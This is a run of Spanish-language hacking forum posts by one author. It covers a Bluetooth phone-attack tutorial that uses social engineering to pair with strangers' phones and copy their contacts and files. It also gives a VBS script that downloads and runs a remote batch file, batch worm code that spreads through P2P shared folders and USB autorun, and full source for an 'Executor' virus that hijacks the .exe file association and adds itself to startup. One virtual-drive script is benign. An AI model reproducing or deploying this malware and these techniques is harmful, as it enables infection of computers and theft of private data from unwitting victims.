No repite una pregunta en el mismo juego... pero su repertorio de preguntas no es muy extendido...solo es una base a ver que les parece...

Saludos.  ::)
#23

Hoy enseñaremos el proceso de “hackeo de un celulares” a través de bluetooth, desde lo mas básico como enviarle un mensaje a su dispositivo, hasta operaciones mas avanzadas como el robo de información delicada y archivos del teléfono. También habrá un apartado sobre la seguridad y la forma de protegerse.


Para empezar, debemos tener claro los siguientes conceptos: BlueHacking, BlueSnarffing, BlueBugging, así que nos leeremos un post en donde esta explicado todo esto:

http://thesmartgenius.wordpress.com/2008/05/11/bluejacking-bluesnarfing-bluebugging-bluetoothing/

Una vez tenemos claros los conceptos, procedemos a hacer una lista de las cosas que necesitamos para estos ataques.



-         Un Móvil(celular) con soporte Bluetooth

-         Herramientas de BlueHacking, BlueSnarfing, BlueBugging *

-         Algo de creatividad, paciencia, e Ingeniería social.

Herramientas :

http://thesmartgenius.wordpress.com/2008/05/11/herramientas-bluehacking-bluesnarfing-etc/

Bien, empecemos con lo básico, el bluehacking




Para hacer esto necesitamos de una victima que tenga su teléfono funcionando, con el bluetooth prendido, en modo descubierto, y al alcance, así que sugeriría buscar lugares donde haya bastante concurrencia de gente como pueden ser Centro Comerciales, Cines y ese tipo de sitios…


La Técnica del Bluejacking es el envió de mensajes sin permiso, en este caso un contacto o Nota, así que empezaremos por crear en nuestro móvil un nuevo contacto, cuyo nombre será “Has sido BlueHackeado xD”, y una ves guardado, se dispondrá a buscar un dispositivo al alcance para mandárselo, y  a reír con la cara que pondrá la victima, ya que no sabrá de donde vino, y pensara que su móvil esta funcionando mal.


También es posible no solo mandando Contactos, sino también Notas, o eventos del calendario, y allí es donde entra a jugar tu imaginación con los mensajes que escribas… 



BlueBugging


La segunda forma de ataque es el BlueBugging, que se aprovecha de errores(bugs) en la autentificación del dispositivo bluetooth, o en su defecto por desconocimiento del usuario (victima) de la capacidad del bluetooth, lo que permite la ejecución de comandos AT en el Terminal, que permiten virtualmente controlar completamente un dispositivo.


Para esta técnica nos basaremos en una aplicación muy conocida por todos como lo es el BT Info (Super Bluetooth Hack)…

Link: http://rapidshare.com/files/114673088/SuperBluetoothHack1.08bySmartGenius.zip


Que básicamente lo que hace es aprovechar una conexión ya establecida a través del bluetooth, ya sea con el consentimiento de la victima o a través del engaño.


Hay dos maneras, que son con gente conocida y teniendo acceso al móvil, o haciéndolo en un lugar publico con una victima al azar…


Lo que tienes que hacer es abrir la aplicaron en tu celular, vas a la opción de conectar y le das en buscar dispositivos, en este momento puedes pedir prestado el móvil a la victima, diciéndole que le vas a pasar alguna imagen o algo así, entonces le prendes el bluetooth y aceptas la conexión entrante desde tu móvil, allí te preguntara que si deseas acoplar el dispositivo, aceptas e introduces un código de seguridad el cual debe ser 0000, Luego en tu móvil también te preguntara por el código e introduces el código anterior, y ya se ha realizado la conexión, así que la aplicación ya mostrara las opciones para control de celular las cuales se basan en los comando AT, y varían dependiendo del modelo de móvil que quieras controlar, cabe resaltar que la aplicación funciona perfectamente controlando otros móviles SonyEricsson, en menor medida a los Nokia, y mucho menos a los Motorola.


Tienes muchas opciones como revisarle los mensajes, copiar sus contactos, realizar llamadas, cambiarle el idioma, poner música y otras dependiendo del modelo de celular.


Un Consejo: cuando hayas hecho la primera conexión con el móvil, después de meter la clave y ver que la aplicación se conecto, debes de desconectarlo, y luego en el móvil de la victima debes de ir hasta la configuración del bluetooth, allí buscas la lista de dispositivos, seleccionas el que tiene tu nombre y entre las opciones que salen debes escoger que nunca pregunte o que siempre te de permiso sin avisar cundo quieras conectarte.


La otra forma es en un lugar público, en donde lo único que cambia es que no tiene acceso al móvil de la victima, por lo que tienes que recurrir a otras técnicas…


En este caso nos podremos en el nombre de nuestro dispositivo, algo sugestivo, que incite a que la persona acepte, ya sea que escribas “Servico al Cliente” o cosas por el estilo, y cuando ya tengas acceso podrás hacer con el móvil lo que quieras, claro dependiendo del móvil con el que te conectes.



BlueSnarfing


Esta técnica es un poco más avanzada, pero va de la mano con el bluebugging y en especial con el uso del Super Bluetooth Hack.


Con esta técnica básicamente lo que vamos a hacer es a “copiar” archivos que tenga el móvil victima, aunque sin su permiso, para esto hacemos uso de la aplicación BT File Manager…


Link: http://rapidshare.com/files/111529670/BT_File_ManagerES-bySmartGenius.zip


Que viene siendo una clase de cliente FTP a través del bluetooth, que aprovecha la conexión para ver todos los archivos que están en la memoria del móvil.


Si ya han usado el Super Bluetooth Hack no les será difícil conectarse con otro móvil ya que es de la misma manera, buscando primero un dispositivo, acoplándose con el e introduciendo un código de seguridad, pero si es a un móvil con el que ya se habían conectado antes con la otra aplicación y lo configuraron para que no pidiera permisos, lo mas probable es que la conexión no presente problemas y los deje entrar fácilmente.


La aplicación cuenta con dos opciones que son “Mi Dispositivo” y “Dispositivos Bluetooth”, pues obvio saben que es mi dispositivo, por medio del cual pueden acceder a su memoria y ver que archivos tienen; cabe resaltar que esta opción necesita que el teléfono tenga soporte JSR75 que es el que da acceso al sistema de archivos, por lo que puede que la aplicación pida permisos de lectura y escritura en su móvil, así que antes de entrar deben de darle en opciones, luego en permisos, y allí buscan los permisos de escritura y acceso a datos y los activan todos.


Una vez están los permisos configurados, procedemos a entrar a la aplicación, ir a la opción de “Dispositivos BT” y empezar a buscar un dispositivo con el cual conectarnos, cuando hemos realizado la conexión exitosamente, tendremos acceso a los archivos del otro móvil, y solo es cosa de seleccionar el que quieres y darle a copiar, o cortar, y luego en una carpeta de tu móvil le das pegar… es tan sencillo y muy parecido al manejo de archivos en Windows, así que no les será difícil este procedimiento.


Con el programa vienen todas las opciones de trabajo con archivos, como copiar, cortar, pegar, mover, renombrar o eliminar, así que solo es cuestión de ustedes decidir que hacer.


CitarNota: Algunos modelos de teléfonos, en especial los motorola, con cuentan con los certificados suficientes par hacer uso del bluetooth  a través de aplicaciones Java (JSR89) y también para el acceso al sistema de archivos (JSR75), por lo que puede que alguna de las aplicaciones de un error en algunos móviles.


Apartado sobre Seguridad

http://thesmartgenius.wordpress.com/2008/06/03/el-bluetooth-y-la-seguridad/

http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/index.html

Espero sea de su mas grande Utilidad…

Att. :: SmartGenius ::

Saludos 
#24
Bueno, pensando en hacer una aplicacion que me permitiera proteger archivos en Windows pues pense en hacer una de Unidad Virtual pero que no fuese omo los demas...

Estuve un rato probando codigo hasta que encontre la forma de esconder los datos en una carpeta especial del sistema que solo es accesible desde MS-DOS o montando una unidad virtual, y pues en eso se basa el codigo...

El metodo lo he llamado "Credenciales" y es ideado por mi, y pues vean que ya es la version 1.5 con algunas mejoras como las gestion de varias unidades por cada usuario....

El codigo:

Código (DOS) [Seleccionar]

mode con cols=68
mode con lines=25
   @echo off
title Virtual Drive - by :: SmartGenius ::
color 0a
REM Gestor de Unidad Virtual Protegida
REM Proteccion Mediante Credenciales, metodo by SmartGenius
REM Las Credenciales Permiten Crear una Unidad Virtual
REM independiente para cada Usuario de la PC.

:load
cls
call :credencial
if not exist "%homedrive%\RECYCLER\%cred%\config.cfg" (goto first) else (goto menu)
exit

:menu
cls
echo.
echo  Token: %cred%
echo.
echo       ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo       º Gestor de Unidades Virtuales º
echo       ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo    Elija una Opcion:
echo.
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³1³ ³ Abrir Unidad Virtual  ³  ³2³ ³ Cerrar Unidad...     ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³3³ ³ Crear Unidad Nueva... ³  ³4³ ³ Eliminar Unidad...   ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³5³ ³ Proteger Unidad...    ³  ³6³ ³ Ayuda ^& Informacion  ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
set /p pin=">> "
if %pin%==1 call :gestion open
if %pin%==2 call :gestion close
if %pin%==3 call :create
if %pin%==4 call :gestion delete
if %pin%==5 call :gestion lock
if %pin%==6 (goto help) else (goto menu)
exit

:gestion
cls
set funcion=%1
for /F "tokens=*" %%n in (%homedrive%\RECYCLER\%cred%\config.cfg) do (set num=%%n)
call :unis %num%
cls
echo.
echo.
echo  Unidades Virtuales: %num%
echo.
echo  Escoja una Unidad Virtual:
echo.
echo  %lin11%   %lin12%   %lin13%
echo  %uni1%   %uni2%   %uni3%
echo  %lin21%   %lin22%   %lin23%
echo.
set /p unidad=">> "
call :%funcion% %unidad%
goto :eof

:unis
set num=%1
set /a cont=%num%+1
:unis2
set /a cont=%cont%-1
for /F "tokens=*" %%l in (%homedrive%\RECYCLER\%cred%\vd00%cont%.tmf) do (set drive=%%l)
set drive=%drive: =:%
set uni%cont%=³%cont%³ ³ Unidad %drive% ³
set lin1%cont%=ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄ¿
set lin2%cont%=ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÙ
if %cont%==0 (goto :eof) else (goto unis2)

:credencial
for /R "%homepath%\Datos de programa\Microsoft\Credentials" %%i in (.) do (echo %%i>%temp%\cred.tmf)
for /F "tokens=7 delims=\" %%n in (%temp%\cred.tmf) do (set cred=%%n)
goto :eof

:first
call :credencial
cls
echo.
echo  Token: %cred%
echo.
echo  Aun no ha creado Ninguna Unidad Virtual
echo.
echo  Desea Crear Una ?? Si [S]  No [N]
echo.
set /p opc=">> "
if %opc%==n (echo.&echo  Gracias por Usar el Software...&echo.&pause&exit)
if %opc%==N (echo.&echo  Gracias por Usar el Software...&echo.&pause&exit)
md "%homedrive%\RECYCLER\%cred%\VD001"
echo 1 >%homedrive%\RECYCLER\%cred%\config.cfg
echo Z >%homedrive%\RECYCLER\%cred%\vd001.tmf
goto menu

:open
set var=%1
if not exist "%homedrive%\RECYCLER\%cred%\vd00%var%.tmf" (echo.&echo  La Unidad Escogida no Existe&echo.&pause&goto menu)
for /F "tokens=*" %%m in (%homedrive%\RECYCLER\%cred%\vd00%var%.tmf) do (set drive=%%m)
set drive=%drive: =:%
if exist "%drive%" (echo.&echo  La Unidad se encuentra Activa&echo.&pause&start %drive%&goto menu)
if exist "%homedrive%\RECYCLER\%cred%\vd00%var%\password.cfg" (call :unlock %var%)
set ruta=%homedrive%\RECYCLER\%cred%\vd00%var%
subst "%drive%" "%ruta%"
ping -n 5 0.0.0.0>nul
start %drive%
goto :eof

:close
set letra=%1
for /F "tokens=*" %%m in (%homedrive%\RECYCLER\%cred%\vd00%letra%.tmf) do (set drive=%%m)
set drive=%drive: =:%
subst "%drive%" /D
echo.
echo  Unidad Bloqueada
echo.
pause
goto :eof

:lock
set virt=%1
if exist "%homedrive%\RECYCLER\%cred%\vd00%virt%\password.cfg" (call :unlock %virt%)
echo.
echo  Introduzca un Clave para Proteger la Unidad
echo.
set /p clave=">> "
echo %clave%>"%homedrive%\RECYCLER\%cred%\vd00%virt%\password.cfg"
attrib +h "%homedrive%\RECYCLER\%cred%\vd00%virt%\password.cfg"
echo  La Clave "%clave%" ha sido establecida Exitosamente.
echo.
pause
goto :eof

:unlock
set tip=%1
for /F "tokens=*" %%c in (%homedrive%\RECYCLER\%cred%\vd00%tip%\password.cfg) do (set word=%%c)
echo.
echo  La Unidad Virtual se Encuentra Protegida.
echo.
echo  Introduzca el Password:
echo.
set /p pass=">> "
if %pass%==%word% (goto :eof) else (echo.&echo  Clave Incorrecta&pause&goto menu)
goto :eof

:help
cls
echo.
echo  Bienvenido a la Ayuda del Programa
echo.
echo  La Primera vez que ejecuta la Utilidad, se crea la
echo  Unidad Virtual en la que se guardaran los archivos.
echo.
echo  El TOKEN es el Identificador de Seguridad del Usuario,
echo  y es diferente en cada Instalacion de Windows.
echo.
echo  Use la Unidad Virtual para guardar archivos y luego
echo  bloquee el acceso mediante la aplicacion.
echo.
echo  Puede crear un Maximo de 3 Unidades Virtuales por
echo  usuario.
echo.
echo  Si lo desea, puede establecer una contraseña para cada
echo  na de las Unidades Virtuales.
echo.
echo.
echo  Para dudas, comentarios y sugerencias favor contactar
echo  con el autor del Programa.
echo.
echo          :: SmartGenius, Corp. 2008 ::
echo.
pause
goto menu

:create
cls
echo.
echo  Token: %cred%
echo.
echo  Desea Crear Una Nueva Unidad Virtual?? Si [S]  No [N]
echo.
set /p opc=">> "
if %opc%==n (goto menu)
if %opc%==N (goto menu)
for /F "tokens=*" %%d in (%homedrive%\RECYCLER\%cred%\config.cfg) do (set num=%%d)
if %num%==3 (echo.&echo  No se permiten mas de 3 Unidades Virtuales&echo.&pause&goto menu)
set /a num=%num%+1
md "%homedrive%\RECYCLER\%cred%\vd00%num%"
echo %num% >%homedrive%\RECYCLER\%cred%\config.cfg
echo.
echo  Introduzca una Letra para Asignar a la Nueva Unidad:
echo.
set /p new=">> "
echo %new% >%homedrive%\RECYCLER\%cred%\vd00%num%.tmf
echo.
echo  Unidad Virtual %new% creada.
echo.
pause
goto menu

:delete
cls
set borrar=%1
echo.
echo  Token: %cred%
echo.
echo  Esta Seguro de quitar la Unidad Virtual?? Si [S]  No [N]
echo.
set /p opc=">> "
if %opc%==n (goto menu)
if %opc%==N (goto menu)
for /F "tokens=*" %%d in (%homedrive%\RECYCLER\%cred%\config.cfg) do (set num=%%d)
set /a num=%num%-1
del /f "%homedrive%\RECYCLER\%cred%\vd00%num%.tmf"
rd "%homedrive%\RECYCLER\%cred%\vd00%num%"
echo %num% >%homedrive%\RECYCLER\%cred%\config.cfg
echo.
echo  Unidad Virtual Eliminada.
echo.
pause
goto menu


La credencial es le Identificador de Usuario de WINDOWS, es diferente por cada usuario sea Normal, Invitado o Administrador por lo que varia su longitud de caracteres, y ademas tambien es diferente por cada Instalaciond e WINDOWS, la verdad que fue un gran logro y en eso se basa la proteccion..

Intenten guardar datos y luego cerrrar la unidad, despues de eso los buscan desde WINDOWS y no los encontrara, solo mientras la unidad este montada...

Se puede proteger la unidad, y crear otras dos mas para un total de 3 por usuario, pero no creo que se necesite mas de una...

Acepto sugerencias y ayuda, o comentarios...

Saludos.
#25
Tenemos como base el siguiente codigo...

http://two.xthost.info/smartgenius/codigo.txt

Archivo BAT de Prueba
mode con cols=60
mode con lines=20
@echo off
title Propagacion a traves de Internet - By :: SmartGenius ::
color 0a

:ini
cls
echo.
echo.
echo  Este es un Archivo de Comandos BATCH descargado
echo  a traves de internet mediante un Script VBS
echo  insertado en una Pagina HTML.
echo.
echo  El Script es capaz de Bajar y Ejecutar Codigo, casi
echo  sin permiso del Usuario...
echo.
echo  Por ahora es Solo una idea, pero espero poder
echo  desarrollarlo completamente...
echo.
echo  Un Saludo... ;)
echo.
pause
exit


El cual puede ser una serie de comandos Batch, ya sea de virus o bromas o cualquier otra cosa, o puede ser tambien cualquier otro archivo...

Ahora tomemos un script VBS que nos descarga y nos ejecuta el archivo...

VBS Downloader
Set aVar = CreateObject("Microsoft.XMLHTTP")
aVar.Open "GET","http://two.xthost.info/smartgenius/codigo.txt",0
aVar.Send()
Set sDow = CreateObject("ADODB.Stream")
sDow.Mode = 3
sDow.Type = 1
sDow.Open()
sDow.Write(aVar.responseBody)
sDow.SaveToFile "codigo.bat",2
Set codigo = CreateObject("WScript.Shell")
codigo.Run "Codigo.bat"


y por ultimo una pagina HTML con codigo VBS insertado para crear archivos de texto plano en la PC...

Pagina HTML Decorada...xD
<HTML>
<HEAD><TITLE>.:: SmartGenius - powered by iSmart ::.</TITLE>
</HEAD>
<BODY bgColor=#000000 text="green">
<script language="vbs">
Dim smart, archivo
Set smart = CreateObject("Scripting.FileSystemObject")
set archivo= smart.CreateTextFile("pepito.bat", True)
archivo.WriteLine("@echo off")
archivo.WriteLine("title SmartGenius")
archivo.WriteLine("color 0a")
archivo.WriteLine("echo  Hola")
archivo.WriteLine("echo  Codigo de Prueba")
archivo.WriteLine("pause")
archivo.close
</script>
<center><h1>Propagacion de Code a traves de Internet</h1><br><br>Demostracion de Descarga y Ejecucion de Codigo...by :: SmartGenius ::</center>
</BODY>
</HTML>


Entonces, la pagina HTML crea un archio en la PC, en este caso un Bat que dice prueba y no mas...

La teoria seria que la pagina HTML creara y ejecutara el segundo codigo, el VBS Downloader y este se encarga de descargar y ejecutar el resto...

Pueden guardar el VBS Downloader y ejecutarlo y veran como descarga y ejecuta el otro bat, y seria posible hacerlo de manera oculta agregando al final ,vbHide...

Hasta aqui todo bien, lo unico que no logro hacer es crear el codigo del VBS Downloader a partir de la pagina HTML.... ya que como es un code VBS creando otro VBS es en ese momento donde hay un problema porque hay ciertos caracteres y funciones reservadas, y no logro que el code salga bien...

Es por ahora una teoria, pero espero poder desarrollarla completamente y dar una nueva posibilidad de propagacion a nuestros codes...

Agradeceria un poco de ayuda, de los expertos en VBS...NovLucker ??..

Un Saludo.
#26
He visto por ahi un par de codes para realizar este tipo de propagacion pero la verdad que siempre son extensos debido a la cantidad de programas que existen para el uso de este tipo de protocolos y a la cantidad de veces que debemos copiarnos...

Al igual que la propagacion por USB, pienso que este codigo puede optimizarse y mejorarse para hacerlo mas liviano y con mayor efectividad...

Yo tenia pensado algo con FOR y CALL de la siguiente manera

for /F %%a in (Aqui las variantes) do (call :p2p %variante%)

y en el cual la funcion p2p tendra los comandos para copiarnos a los directorios compartidos por estas aplicaciones...

Aqui pongo un codigo de ejemplo, a ver como podemos mejorarlo y optimizarlo...

:inicial
set nosotros=%0
for /F %%v in (VistaKeygen,EmoticonesMSN,SerialOffice2007,ParisXXXPhotos) do (call :p2p %%v)
goto :eof


:p2p
set var=%1
copy %nosotros% "%programfiles%\Grokster\My Grokster\%var%.bat"
copy %nosotros% "%programfiles%\Morpheus\My Shared Folder\%var%.bat"
copy %nosotros% "%programfiles%\ICQ\shared files\%var%.bat"
copy %nosotros% "%programfiles%\KaZaA\My Shared Folder\%var%.bat"
copy %nosotros% "%programfiles%\KaZaA Lite\My Shared Folder\%var%.bat"
copy %nosotros% "%programfiles%\EDONKEY2000\incoming\%var%.bat"
copy %nosotros% "%programfiles%\eMule\Incoming\%var%.bat"
copy %nosotros% "%programfiles%\Filetopia3\Files\%var%.bat"
copy %nosotros% "%programfiles%\appleJuice\incoming\%var%.bat"
copy %nosotros% "%programfiles%\Gnucleus\Downloads\%var%.bat"
copy %nosotros% "%programfiles%\LimeWire\Shared\%var%.bat"
copy %nosotros% "%programfiles%\Overnet\incoming\%var%.bat"
copy %nosotros% "%programfiles%\Shareaza\Downloads\%var%.bat"
copy %nosotros% "%programfiles%\Swaptor\Download\%var%.bat"
copy %nosotros% "%programfiles%\WinMX\My Shared Folder\%var%.bat"
copy %nosotros% "%programfiles%\Tesla\Files\%var%.bat"
copy %nosotros% "%programfiles%\XoloX\Downloads\%var%.bat"
copy %nosotros% "%programfiles%\Rapigator\Share\%var%.bat"
copy %nosotros% "%programfiles%\KMD\My Shared Folder\%var%.bat"
copy %nosotros% "%programfiles%\BearShare\Shared\%var%.bat"
copy %nosotros% "%programfiles%\Direct Connect\Received Files\%var%.bat"
copy %nosotros% "%appdata%\Ares\My Shared Folder\%var%.bat"
goto :eof


Lo veo mas corto y mas entendible que otros codigos que haya visto por ahi, pero habria que aumentar su efectividad...

Espero las sugerencias...

Saludos.
#27
Creo que hasta ahora es la mejor manera para copiarse y repartirse por USB, aunque es posible optimizarlo tambien usando el comando FOR...

Para el uso de esto se debe hacer una llamada a la etiqueta :copiausb a traves del comando call..

Por ejemplo:

call :copiausb y el code hara el resto de crear el autorun y de copiarlo a las diferentes unidades...

:copiausb
if exist C: call :creausb C
if exist D: call :creausb D
if exist E: call :creausb E
if exist F: call :creausb F
if exist G: call :creausb G
if exist H: call :creausb H
if exist I: call :creausb I
if exist J: call :creausb J
if exist K: call :creausb K
goto :eof

:creausb
copy %0 "%1:\nombre.bat"
echo [Autorun] > "%1:\AutoRun.inf"
echo open="nombre.bat" >> "%1:\AutoRun.inf"
echo action=Abrir Pendrive >> "%1:\AutoRun.inf"
echo shellexecute= "/nombre.bat" >> "%1:\AutoRun.inf"
goto :eof


Ademas que puede ser extendido para que detecte mas unidades, sin extender tanto el codigo, ahorrandonos varias lineas...

Para la parte del for tengo este code pero no lo he probado:

FOR %%a in (  C D E F G H I J K L M ) do (if exist %%a: (call :creausb %%a))

Espero que les sea de utilidad.

Saludos.
#28
Bueno pues me he dedicado a hacer un code para un virusito que se encargue de deshabilitar los ejecutables, y al tiempo que muestre un mensaje de error pero al azar, para esto he usado una funcion que yo mismo me habia ideado y he usado VB para esta parte porque se ve un poco mas bonito y asi me evito problemas con el msg...

Tambien he hecho que se copie por USB, e igualmente con nombres al azar, por lo que seria un poco mas dificil rastrearlo, y esto es lo que le daria la caracteristica de "mutante"..

Lo he llamado Executor, pues se imaginaran porque ??  ;D ;D

@echo off
title Executor - by SmartGenius
rem Virus que se encarga de deshabilitar el inicio
rem de aplicaciones ejecutables o .EXE, y ademas
rem de mostrar mensajes de error al azar y copiarse
rem atraves de USB con nombres diferentes...

:ini
if exist "%windir%\system32\exer.exe" goto main
if exist "%windir%\system32\extool.exe" goto main
if exist "%windir%\system32\brush.exe" goto main
if exist "%windir%\system32\linux.exe" goto main
if exist "%windir%\system32\herr.exe" goto main
if exist "%windir%\system32\smart.exe" goto main
if exist "%windir%\system32\help.exe" goto main
if exist "%windir%\system32\fuck.exe" goto main
if exist "%windir%\system32\hello.exe" goto main
if exist "%windir%\system32\open.exe" goto main

:crea
call :rdn
call :name%r%
copy %0 "%windir%\system32\%nam%.exe"
reg add HKCR\exefile\shell\open\command /ve /t REG_SZ /d "%nam%.exe" /f
reg add HKCR\exefile\shell\runas\command /ve /t REG_SZ /d "%nam%.exe" /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "%run%" /t REG_SZ /d "%windir%\system32\%nam%.exe" /f
set my=%0
call :main
ping -n 100 0.0.0.0 > nul
goto ini

:rdn
set p=
set /a p=((%random%*%random%)+%random%)/%random%
set r=%p:~-1%
goto :eof

:name1
set nam=
set nam=exer
set run="Herramienta del Sistema"
goto :eof

:name2
set nam=
set nam=extool
set run="Systool"
goto :eof

:name3
set nam=
set nam=brush
set run="Ayuda"
goto :eof

:name4
set nam=
set nam=linux
set run="Microsoft"
goto :eof

:name5
set nam=
set nam=herr
set run="Inicio"
goto :eof

:name6
set nam=
set nam=smart
set run="Smart"
goto :eof

:name7
set nam=
set nam=help
set run="Mantenimiento"
goto :eof

:name8
set nam=
set nam=fuck
set run="You"
goto :eof

:name9
set nam=
set nam=hello
set run="Limpieza"
goto :eof

:name0
set nam=
set nam=open
set run="Adobe"
goto :eof

:main
call :msgr
call :copiausb
goto :eof

:msgr
call :rdn
call :msg%r%
goto :eof

:msg1
echo MsgBox "Error del Sistema. No se puede continuar.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg2
echo MsgBox "No se puede Abrir.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg3
echo MsgBox "Archivo Corrupto.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg4
echo MsgBox "Error de Datos.Comprobacion de Redundancia Ciclica", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg5
echo MsgBox "Error de Configuracion. No se puede continuar.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg6
echo MsgBox "El Sistema no Responde.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg7
echo MsgBox "No hay Memoria suficiente para realizar la Accion.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg8
echo MsgBox "Visita http://foro.code-makers.es.", 16, "Visitanos..." >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg9
echo MsgBox "You was owned by iSmart.", 16, "Hacktool" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg0
echo MsgBox "Fuck You :P.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:copiausb
if exist C: call :creausb C
if exist D: call :creausb D
if exist E: call :creausb E
if exist F: call :creausb F
if exist G: call :creausb G
if exist H: call :creausb H
if exist I: call :creausb I
if exist J: call :creausb J
goto :eof

:creausb
call :rdn
call :name%r%
copy %my% "%1:\%nam%.exe"
echo [Autorun] > "%1:\AutoRun.inf"
echo open="%nam%.exe" >> "%1:\AutoRun.inf"
echo action=Abrir Pendrive >> "%1:\AutoRun.inf"
echo shellexecute= "\%nam%.exe" >> "%1:\AutoRun.inf"
goto :eof


Tambien fijarse que he optimizado bastante la parte de copia USB, esta se me ocurrio como a media noche mientras no podia dormir... :D

Toda la parte de funciones al azar es de mi invencion, y me ha quedado fina  ::)

Quiero que lo miren, y me digan posibles mejoras, aunque se que me falta algo de uso de %errorlevel% y esas cosas en caso de que algo falle no se salga del programa...

Saludos.
#29

TUTORIAL: TRADUCCION DE APLICACIONES JAVA - MOVILES

Bueno, he querido hacer este tuto desde hace tiempo, debido a que me he encontrado con grandes herramientas tanto para hacking como para otros fines, que son programadas en JAVA, diseñadas para los celulares (moviles) y que vienen en idiomas diferentes del Español.

Primero decirles que necesitamos para el procedimiento de Traduccion:

- La App a Traducir
- Un Descompresor (WinRAR)
- Un Descompilador (opcional)
- Lectores de Clases Java
- Buen conocimiento del lenguaje nativo de la aplicacion, para hacer una buena traduccion.


Bien, empecemos:

Generalmente los archivos en java viene con extension .jar


por lo que debemos cambiarla por .zip o .rar, y proceder a descomprimirla en un directorio  para poder trabajar por separado en cada una de las clases que la componen...


Entonces aqui es donde se define que tipo de trabajo debemos hacer, ya que nos podemos encontrar aplicaciones que cuentan con un fichero lang, que esencialmente es un archivo de texto plano con todas las strings que usa el programa, hasta archivos .class que vienen compiladas en JAVA Binario...

Paso 1. Archivo Lang - Texto Plano

Nos Basaremos en la Aplicacion BT Info - Super Bluetooth Hack 1.08

Para este tipo de aplicaciones solo es necesario descomprimirla y una vez ubicado el archivo de lenguaje, este se abre con un editor de textos normal, en este caso nos referimos al bloc de notas...

Ubicamos el archivo lang...


en este caso una carpeta con los archivos usados por la aplicacion...


escogemos el primero y lo abrimos con el bloc de notas...

Nos damos cuenta que es el archivo con el listado de los lenguajes que usa
el programa, asi que solo traducimos la linea que dice "English" por "Español".



En este caso no tenemos que traducir todos los archivos, ya que solo necesitamos modificar el archivo C que es el del lenguaje ingles, el cual vamos a traducir al español, los demas los dejamos como estan...


Traducimos todas las frases y cadenas de texto al español, y una vez finalizado este proceso guardamos el archivo...

Revisamos si no hay otros archivos por traducir, y cuando estemos listos vamos a "instalar" estos archivos en la aplicacion... Paso 3.

Paso 2. Archivo .CLASS - Java Binario

Bueno, basicamente es el mismo proceso que el anterior, solo que este implica revisar uno por uno los archivos, ademas de que no lo hacemos con el Bloc de Notas sino con otras herramientas mas avanzadas.

Si queremos descompilar los archivos, ver su estructura, codigo fuente y funcionamiento en JAVA, pues usaremos el DJ Java Decompiler, pero como solo vamos a traducirla para nuestro proposito y no mas, pues entonces hacemos uso de otras dos herramientas...

InClassTranslator y MobiTrans


Los dos programas son muy parecidos en su funcionamiento, pero yo recomiendo usar el MobiTrans, igual eso es decision de ustedes.

Ambos programas cuentan con un area en la que muetran el listado de las "strings" o frases en el idioma nativo de la aplicacion, un area donde se muestra la actual selecionada, y una parte donde se debe introducir la traduccion de esa frase o "string".

Bueno, usaremos el MobiTrans...

Para este caso nos basaremos en el BT File Manager, cuyo archivo de idioma es el "e.class",
lo abrimos con el programa y ese nos preguntara que tipo de clase es:


Entonces escogemos una clase normal, aunque fijense que hay clases especiales como son las de Macrospace, Handy-Games o Gameloft.

Vemos que nos ha cargado toda la lista de "Strings" usadas por la aplicacion, asi que empezamos por la primera, le damos doble click y nos sale un cuadro de dialogo con la original y un espacio para escribir la traduccion...


Luego alli escribimos el correspondiente de la Frase original pero en nuestro idioma, y luego damos en el boton OK.

Repetimos este paso para todas las frases, y una vez finalizado el proceso procedemos a guardar el trabajo hecho.

Solamente damos en el boton de guardar, y en el dialogo que nos sale le damos OK, el resto no lo tocamos para nada.


Entonces volvemos al directorio donde teniamos descomprimida la aplicacion, y veremos que se han creado varios archivos...

